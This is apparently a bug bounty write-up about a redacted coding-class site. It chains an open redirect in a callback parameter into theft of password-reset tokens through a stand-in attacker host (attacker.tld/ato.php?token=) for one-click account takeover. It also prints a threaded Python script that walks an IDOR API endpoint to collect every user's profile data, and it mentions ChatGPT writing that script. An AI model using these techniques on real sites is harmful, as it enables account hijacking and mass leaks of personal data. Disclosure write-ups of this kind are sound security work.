One-click Account Takeover & IDOR leaks all user information

KreSec
4 min readSep 18, 2023

--

The story of how I took over someone's account by resetting their password.

Photo by Annie Spratt on Unsplash

Hello hackers!, After a few days ago I shared Subdomain Takeover , this time Account Takeover at redacted.tld.

How am I interested in looking for bugs there?

I was interested to find a bug there, because the startup/company had launched a new website or system to accommodate developers who wanted to learn, you could say an online coding class system. and after I researched, the main page of the website had a Hall of Fame which showed that it was aware of security. But after I reported, I didn’t know that the program had been closed for a long time (maybe 2 years) but they still offered me a reward in the form of merchandise.

Figure 2. Reply to my report

How to find bugs?

I tried to register an account at redacted.tld without paying attention to burp history, then I got a link to confirm the account. where the link has a callback parameter with the value redacted.tld (callback=redacted.tld) ​​whose function is to direct to the main domain.

Figure 3. link activation

So far we found an open redirect vulnerability , this was proven when we replaced it with evil.com. But what is the impact? I've tried various tricks and still can't steal sessions, cookies, etc.

Figure 4. open redirect bug

Account Takeover

Still using the previous loophole, but this is in the password reset feature . It turns out that the callback on the activation link is also used here. It is in demand and can be manipulated . But before that you can see the default request & response without manipulation (Figure 5) .

Figure 5. Password reset feature

How to steal user tokens?

I use beeceptor which is usually Burp Collaborator etc. to get information from the link the user clicked (token). Just change the callback value with the beeceptor url. and wait for the user to click then I as the attacker have the token to change the password.

Figure 6. Manipulation callback

How to do onclick account takeover?

With the previous conditions above, we agree that the scenario for changing the password must wait for the user to click and we manually copy the token to the original endpoint then change the password.

But I have another way to make it an onclick account takeover.
1. Save request when setting new password
2. Create a php script with the logic of getting a token from get and passing the token to the request set password.
3. Example: attacker.tld/ato.php?token=
4. Users simply access the link and the password is automatically changed.

What’s worse? I can use the IDOR below to get the emails of all users.

Insecure Direct Object References (IDOR)

Then I wandered around the dashboard (trying out the existing features) until I got to the profile page in burp I saw the history of hit to api https://apps.redacted.com/api/entry/detail/secondapp/{id} The api has a response that displays the user’s information, and when I change the ID it can display the other user’s information as well.

Figure 7. response user info

Without further ado, I immediately called ChatGPT help to make me a script to display all user information in Python. (like Intruder)

import requests
import threading

def get_and_save_response(id):
url = f"https://apps.redacted.com/api/entry/detail/secondapp/{id}"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Authorization': 'eyJ0........',
'Origin': 'https://www.secondapp.id',
'Referer': 'https://www.secondapp.id/',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'cross-site',
'Te': 'trailers'
}

response = requests.get(url, headers=headers)

if response.status_code == 200:
response_json = response.json()
with open('file.txt', 'a') as file:
file.write(f"ID: {id}\n")
file.write(str(response_json) + "\n\n")
print(f"Sucsessful take user info. ID {id} ")
else:
print(f"Failed to take user info {id}. Status Code: {response.status_code}")

def thread_function(start_id, end_id):
for id in range(start_id, end_id):
get_and_save_response(id)

num_threads = 4
thread_list = []

for i in range(num_threads):
start_id = i * (4000 // num_threads)
end_id = (i + 1) * (4000 // num_threads)
thread = threading.Thread(target=thread_function, args=(start_id, end_id))
thread_list.append(thread)
thread.start()

for thread in thread_list:
thread.join()

print("Done.")

And boom, I succeeded in simulating how a data breach would occur due to IDOR

Gambar 8. Dapatkan semua info pengguna

Conclusion

Take advantage of other bugs to get a bigger impact, don't rush to report it when you feel the impact isn't enough. then try to report it by creating a script/exploit that helps them make it easier to reproduce our findings, that can be a plus as well as practicing coding.

That's it, thanks for reading.

--

--